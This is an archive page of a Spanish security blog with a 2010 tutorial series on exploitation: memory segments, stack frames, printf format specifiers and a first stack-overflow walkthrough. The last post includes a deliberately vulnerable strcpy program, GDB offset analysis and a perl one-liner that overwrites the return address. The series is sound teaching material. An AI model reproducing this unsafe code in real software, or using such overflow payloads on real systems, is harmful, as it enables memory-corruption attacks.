Archivo

Archivo para 23 febrero 2010

Exploitation: Stack Overflow I

23/02/2010 4 comentarios

El desbordamiento de pila o stack overflow, es un caso de buffer overflow que se produce, como es obvio, en el segmento de memoria reservado a la pila. Este tipo de ataques son antiguos y la mayoría de compiladores y sistemas operativos implementan medidas que dificultan o impiden la explotación de este tipo de vulnerabilidades. En el caso de GCC, implementa una tecnología llamada SSP (Stack Smashing Protection). Básicamente coloca un canary en la pila y comprueba que ese “número mágico” sigue ahí antes de realizar operaciones críticas sobre la pila, como ejecutar un ret. Las implementaciones más modernas protegen también el EBP y reorganizan las variables en la pila para evitar que los buffers (arrays) se desborden sobre otras variables de la función. En Ubuntu (desde 8.04) está habilitado por defecto, sin embargo en Debian no lo está. Es posible indicarle a GCC que fuerce su utilización con el flag -fstack-protector y que lo deshabilite (como he hecho yo para estos ejemplos) con -fno-stack-protector. Más adelante, con todos los conceptos básicos asimilados, echaremos un ojo más calmado a las tecnologías de protección y veremos cuales y cómo se pueden evitar.

Dicho esto, el código de ejemplo es el siguiente:


#include <string.h>
#include <stdio.h>
#include <stdlib.h>

void sayhi(char* name){
 char name_buffer[20];
 strcpy(name_buffer,name);
 printf("Bienvenido al sistema, %s\n",name);
}

int main(int argc, char* argv[]){

 if (argc > 1)
 sayhi(argv[1]);
 else{
 exit(0);
 }
 return 0;
}

Es un código muy sencillo, pero la idea es que veamos como explotar un stack overflow para obtener, por ejemplo, una shell, y que tengais la capcidad de extrapolarlo a programas más complejos que no verifican correctamente la entrada del usuario. Como se lee en el código, el nombre del usuario está pensado para ocupar 20 caracteres. ¿Qué pasará si en vez de 20, metemos alguno más? Los que recordéis los posts anteriores, estaréis pensando -acertadamente-, que bajo las variables de la pila (como  name_buffer) se encuentra el EBP y la dirección de retorno. Nuestro objetivo, por tanto, será sobreescribir la dirección de retorno con un valor de memoria donde se encuentre el código que queremos ejecutar.

En primer lugar, vamos a hacernos una idea de qué está pasando. Lanzamos el programa con GDB y tratamos de identificar la posición de nuestra variable, la dirección de retorno, etc.


adrian@ubuntu:~/exploiting$ gdb -q a.out
Reading symbols from /home/adrian/exploiting/a.out...done.
(gdb) list
4
5    void sayhi(char* name){
6        char name_buffer[20];
7        strcpy(name_buffer,name);
8        printf("Bienvenido al sistema, %s\n",name);
9    }
10
11    int main(int argc, char* argv[]){
12
13        if (argc > 1)
(gdb) br 8
Breakpoint 1 at 0x804846c: file stack_overflow.c, line 8.

(gdb) disas main
 Dump of assembler code for function main:
 0x08048482 <main+0>:    push   %ebp
 0x08048483 <main+1>:    mov    %esp,%ebp
 0x08048485 <main+3>:    and    $0xfffffff0,%esp
 0x08048488 <main+6>:    sub    $0x10,%esp
 0x0804848b <main+9>:    cmpl   $0x1,0x8(%ebp)
 0x0804848f <main+13>:    jle    0x80484a8 <main+38>
 0x08048491 <main+15>:    mov    0xc(%ebp),%eax
 0x08048494 <main+18>:    add    $0x4,%eax
 0x08048497 <main+21>:    mov    (%eax),%eax
 0x08048499 <main+23>:    mov    %eax,(%esp)
 0x0804849c <main+26>:    call   0x8048454 <sayhi>
 0x080484a1 <main+31>:    mov    $0x0,%eax
 0x080484a6 <main+36>:    leave
 0x080484a7 <main+37>:    ret
 0x080484a8 <main+38>:    movl   $0x0,(%esp)
 0x080484af <main+45>:    call   0x8048384 <exit@plt>
 End of assembler dump.
(gdb) run AABB
Starting program: /home/adrian/exploiting/a.out AABB

Breakpoint 1, sayhi (name=0xbffff6b1 "AABB") at stack_overflow.c:8
8        printf("Bienvenido al sistema, %s\n",name);
(gdb) x/16wx $sp
0xbffff430:    0xbffff44c    0xbffff6b1    0xbffff448    0x00517955
0xbffff440:    0x00641ff4    0x08049ff4    0xbffff458    0x42424141
0xbffff450:    0x00abad00    0x08049ff4    0xbffff488    0x080484e9
0xbffff460:    0x00642304    0x00641ff4    0xbffff488    0x080484a1

Bueno, viendo el desensamblado del programa, sabemos que la función sayhi está en 0×8048454, y que la dirección de retorno que se apilará cuando se ejecute el call de main+26 será 0x080484a1 (es decir, main+31). Si ahora lanzamos el programa con el nombre “AABB” (así es fácil de encontrar en la pila) y lo paramos dentro de sayhi justo antes de ejecutar printf, podemos ver el estado de la pila en ese momento. Localizamos el comienzo de name_buffer en 0xbffff44c. Además, vemos nuestra dirección de retorno (0x080484a1) en la posición 0xbffff46c, justo después del SFP (antiguo EBP).


(gdb) p 0xbffff46c - 0xbffff44c
$2 = 32

Por tanto, necesitamos 32 bytes para que, desbordando name_buffer, alcancemos la dirección de retorno, y cuatro más para rellenar esa dirección con el valor que queramos. Vamos a ver qué pasa si yo ejecuto el programa con el siguiente argumento:


adrian@ubuntu:~/exploiting$ ./a.out $(perl -e 'printf "\x54\x84\x04\x08"x9')
Bienvenido al sistema,
Bienvenido al sistema, U��WV1�S�n�
Segmentation fault

¿Qué hemos hecho aquí? Hemos localizado la dirección de inicio de la función sayhi (0×08048454) y la hemos repetido 9 veces, de tal forma que la última repetición ocupe la posición de memoria de la dirección de retorno. Para que quede claro, la dirección son 4 bytes, que si la repetimos 8 veces son 32 bytes (el valor que habíamos obtenido más arriba) y la novena vez pisa exactamente la dirección de retorno. La dirección está invertida byte a byte debido a que el x86 es little endian como comentamos en la entrada anterior. El programa se ha comportado como esperábamos, al terminar de ejecutar la función sayhi, ha desapilado la dirección de retorno que le hemos colocado (otra vez el inicio de sayhi) y la ha vuelto a ejecutar. Posteriormente ha utilizado el marco de pila que había debajo -probablemente con información de variables de main o padding- para retornar de sayhi, lo que le ha llevado a tratar de acceder a una posición de memoria para la que no tiene permiso y el sistema ha abortado la ejecución con un fallo de segmentación.

Esto no resulta demasiado útil, ya que nos permite ejecutar código que pertenezca al programa. En algún caso en el que existan funciones del programa restringidas esto podría ser útil. Por ejemplo, en un juego, la función ganar() podría ser ejecutada de este modo aunque no hayamos ganado. O la función login_successful, o la que se nos ocurriera. Sin embargo, lo realmente interesante sería lograr la ejecución del código que nosotros queramos, sin limitarnos al contenido del programa. Bien, esto también es posible.

Para no alargar esta entrada demasiado, en la siguiente mostraremos dos métodos para hacer esto posible, utilizando bash y variables de entorno para almacenar nuestro shellcode e introduciendo nuestro shellcode en el propio buffer si el tamaño es suficiente.

Exploitation: Conocimientos previos II

20/02/2010 3 comentarios

Como explicaba en la entrada anterior, la memoria está dividida en 5 segmentos. Para aclarar conceptos vamos a ejecutar el siguiente programa (el código debería ser autoexplicativo).


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int iglobal_1 = 1;
int global_1;

void fun(int arg_1, int arg_2, int arg_3){
 int local_1 =1, local_2=2;
 // Stack por param
 printf("arg_1 @ 0x%08x con valor %d [STACK]\n",&arg_1,arg_1);
 printf("arg_2 @ 0x%08x con valor %d [STACK]\n",&arg_2,arg_2);
 printf("arg_3 @ 0x%08x con valor %d [STACK]\n\n",&arg_3,arg_3);
 // Stack local
 printf("local_1 @ 0x%08x con valor %d [STACK]\n",&local_1,local_1);
 printf("local_2 @ 0x%08x con valor %d [STACK]\n\n",&local_2,local_2);
}

int main(char* argv[], int argc){
 int local_1;
 char *hvar = malloc(100*sizeof(char));
 strcpy(hvar,"heap-var");

 printf("local_1 @ 0x%08x con valor %d [STACK]\n",&local_1,local_1);
 printf("iglobal_1 @ 0x%08x con valor %d [DATA]\n",&iglobal_1,iglobal_1);
 printf("global_1 @ 0x%08x con valor %d [BSS]\n\n",&global_1,global_1);
 printf("hvar @ 0x%08x con valor %s [HEAP]\n\n",hvar,hvar);

 fun(31,32,33);
 return 0;
}

Lo importante no es tanto el código como el resultado, que permite comprobar el lugar en el que han sido colocadas las variables del programa.

adrian@ubuntu:~/exploiting$ ./a.out
local_1 @ 0xbf850adc con valor 3854324 [STACK]
iglobal_1 @ 0x0804a01c con valor 21 [DATA]
global_1 @ 0x0804a028 con valor 22 [BSS]

hvar @ 0x09043008 con valor heap-var [HEAP]

arg_1 @ 0xbf850ac0 con valor 31 [STACK]
arg_2 @ 0xbf850ac4 con valor 32 [STACK]
arg_3 @ 0xbf850ac8 con valor 33 [STACK]

local_1 @ 0xbf850aac con valor 1 [STACK]
local_2 @ 0xbf850aa8 con valor 2 [STACK]

Observad que el mapa de memoria es el que mostramos en la entrada anterior, los datos en las direcciones más bajas, luego el bss (hay padding de por medio), a continuación las variables del heap y finalmente el stack frame. Fijaos como el stackframe es tal y como comentábamos en la entrada anterior (para 32 bits, en 64 es diferente).

(gdb) x/16wx $sp
0xbffff430:    0x00000000    0x00000000    0xbffff458    0x0028ff80
0xbffff440:    0xbffff488    0x0028ff80    0x00000002    0x00000001
0xbffff450:    0xbffff464    0x00389ff4    0xbffff488    0x080485c5
0xbffff460:    0x0000001f    0x00000020    0x00000021    0xbffff488

Esta muestra de la pila se ha tomado a la entrada de la función fun, tras la inicialización de las variables locales. Fijaos en la dirección de retorno, la 0x080485c5, más arriba está el valor previo del EBP, el 0xbffff488, un poco de padding del compilador y las variables locales con valores 1 y 2. Justo debajo de la dirección de retorno se encuentran los valores que ha recibido como parámetros: 1f (31), 20 (32), 21 (33).

Visto esto, es importante resaltar el tipo de alineación en memoria. El x86 utiliza little endian, lo que quiere decir que el byte menos significativo se coloca en la parte más baja de la memoria. Si queréis podemos ver un ejemplo, usaremos la dirección de retorno, situada en la posición de memoria 0xbffff45c, y la mostraremos como una palabra de 32 bits y luego byte a byte. Como se ve, la palabra está invertida byte a byte.


(gdb) x/wx 0xbffff45c
0xbffff45c:    0x080485c5
(gdb) x/4bx 0xbffff45c
0xbffff45c:    0xc5    0x85    0x04    0x08

Esto quiere decir que si queremos cargar en memoria el valor 0x080485c5, debemos insertarlo como \xc5\x85\x04\x08. Fácil, ¿verdad?.

Otro tema importante cuando hablamos de explotación, es conocer el formato del ejecutable que estamos utilizando. Nos centraremos al principio en Linux, por lo que el formato que nos interesa es el ELF, en las siguientes entradas explicaremos dos clásicos, .plt y .dtors. Cuando hablemos de Windows, el formato que debemos conocer es PE.

Algo importante, tanto para depurar y mostrar direcciones de memoria y valores, como para entender la vulnerabilidad de format strings que explicaremos en futuras entradas (sí, otro clásico, pero esto es un repaso a lo básico, ¿no?), es comprender el funcionamiento de la familia de funciones printf. Veamos qué sucede cuando utilizamos printf de la siguiente manera:


printf("Esto es un número %d\n",20);

(gdb) disas main
Dump of assembler code for function main:
0x080483e4 <main+0>:    push   %ebp
0x080483e5 <main+1>:    mov    %esp,%ebp
0x080483e7 <main+3>:    and    $0xfffffff0,%esp
0x080483ea <main+6>:    sub    $0x10,%esp
0x080483ed <main+9>:    mov    $0x80484d0,%eax
0x080483f2 <main+14>:    movl   $0x14,0x4(%esp)
0x080483fa <main+22>:    mov    %eax,(%esp)
0x080483fd <main+25>:    call   0x804831c <printf@plt>
0x08048402 <main+30>:    mov    $0x0,%eax
0x08048407 <main+35>:    leave
0x08048408 <main+36>:    ret
End of assembler dump.
(gdb) x/s 0x80484d0
0x80484d0:     "Esto es un número %d\n"

Si os fijáis desde main+9 hasta main+25, el compilador ha colocado en la pila la cadena “Esto es un número %d\n”, y también el valor 20 (0×14). La función printf recorre la cadena de texto y va mostrando por pantalla los caracteres, hasta que encuentra un especificador de formato (%d en este caso), y entonces busca en la pila el valor que debe colocar en esa posición. La siguiente tabla muestra los especificadores de formato soportados.

especificadores de formato
especificadores de formato

Merecen especial atención %n, así como %x y -aunque no aparece en la tabla- la posibilidad de imprimir el n-ésimo caracter con el símbolo $.

 


printf("Este es el tercer valor %3$d\n", 1,2,3,4,5);

Imprimirá el siguiente mensaje “Este es el tercer valor 3″. En las siguientes entradas nos metermos ya en los desbordamientos clásicos de buffer, que seguro que es más interesante y entretenido. Como siempre, las dudas o aportaciones, en los comentarios.

 

Exploitation: Conocimientos previos I

07/02/2010 2 comentarios

Con la intención de que más adelante podamos escribir unos artículos sobre exploits algo más avanzados, he decidido publicar poco a poco una serie dedicada al exploiting para que los lectores con menos conocimientos puedan seguir los artículos futuros.

En esta primera entrada trataremos algunos conocimientos necesarios para la comprensión del proceso de explotación de vulnerabilidades. Es importante tener claros estos conceptos, puesto que la falta de los mismos nos inducirá a error, y a situaciones en las que estaremos perdiendo el tiempo. Esta serie de artículos no está dirigida únicamente a gente interesada en la seguridad, sino que también pretende ser útil a aquellos programadores que están preocupados por la seguridad de los códigos que programan. Puesto que habrá algunos conceptos que tocaremos tangencialmente, recomiendo encarecidamente seguir los links y comprender la información que contienen. No obstante, trataré de explicar lo mejor posible la mayoría de los conceptos.

Antes de meternos en el tema, es conveniente definir un par de términos que aparecerán en la lectura de este post.

EIP: Puntero extendido de instrucción, a veces referido como PC. Contiene la dirección de memoria de la siguiente instrucción a ejecutar por el procesador.

EBP: También llamado Frame Pointer (FP) o Local Base Pointer (LB), se utiliza para apuntar a las variables locales dentro del stack frame actual. Para una definición de stack frame, leed más abajo.

ESP: Puntero extendido de pila. Contiene la dirección de la cima de la pila en cada momento.

Ahora que ya hemos recordado algunos de los registros importantes del x86, vamos al lío. Comenzaremos con los segmentos de memoria de los ejecutables. La memoria de un programa está dividida en cinco segmentos: texto (o código), datos, bss, heap y stack. Cada sección de memoria tiene asociados una serie de permisos (lectura/escritura/ejecución) y otras propiedades que veremos a continuación.

Texto: en este segmento es donde se encuentra almacenado el código ensamblado del programa. Como ya imaginaréis, los permisos de escritura están deshabilitados en este segmento, ya que la idea es leer el código, no cambiarlo durante la ejecución. La ventaja de que este segmento sea de sólo lectura es permitir que sea compartido por varias instancias del programa en memoria, y además evitar que alguien altere el flujo de ejecución del programa. Veremos que de eso se trata el exploiting, de aprovechar las reglas que no han sido correctamente definidas para alterar ese flujo de ejecución. Cabe destacar también que este segmento es de tamaño fijo, puesto que el tamaño del código se conoce en tiempo de compilación y no se puede alterar este segmento (entre otras cosas porque no almacena variables).

Datos: almacena las variables globales y estáticas que han sido previamente inicializadas. Aunque se trata de un segmento con permisos de escritura, su tamaño es fijo.

BSS: en este segmento, por el contrario, se almacenan las variables globales y estáticas sin inicializar. Igual que el segmento de datos, el bss es de tamaño fijo y tiene permisos de escritura. Para entender el por qué del tamaño fijo, pensad que las variables globales son persistentes independientemente del contexto funcional. El motivo de que sean persistentes es precisamente el hecho de estar almacenadas en sus propios segmentos de memoria.

Heap: este segmento es de tamaño variable y está a disposición del programador, que puede reservar fragmentos de memoria para alojar lo que necesite. Como veremos más adelante, el heap crece hacia direcciones altas de memoria.

Stack: al igual que el heap, el segmento de pila es de tamaño variable. Este segmento se utiliza para almacenar las variables locales de las funciones y procedimienos, así como para salvar el contexto durante las llamadas a función. Cada vez que se realiza una llamada a función, dicha función puede recibir variables, y además, su código se encontrará en una dirección diferente del segmento de texto. Debido a esto, el contexto, y el EIP tendrán que cambiar. Se utiliza la pila para recordar las variables recibidas, las variables locales y dos punteros para volver a la situación previa a la llamada: el SFP (saved frame pointer, el valor previo del EBP) y la dirección de retorno (el valor previo del EIP). El conjunto de esta información se denomina normalmente marco de pila o stack frame. Tened en cuenta que en la pila pueden coexistir multitud de stack frames.

Para que quede claro, imaginad una función con dos variables locales, local_1 y local_2 y tres variables que recibe como argumentos, arg_1, arg_2 y arg_3. Esa función podría tener la siguiente pinta.


void ejemplo(int arg_1,int arg_2, int arg_3){

int local_1, local_2;

// código
}

Y su stack frame sería algo así.

stack frame

Posición de los elementos del stack frame

Siguiendo con las imágenes clarificadoras, el mapa de memoria de un proceso es algo así (lamento mis dotes de photoshop ^^).

mapa de memoria del proceso

mapa de memoria del proceso

En la siguiente entrada veremos algunos ejemplos de esto con GDB y completaremos los conceptos más básicos para comprender de manera sencilla el proceso de exploiting. Cualquier duda que pueda quedar, o cualquier aportación, en los comentarios :)

Seguir

Get every new post delivered to your Inbox.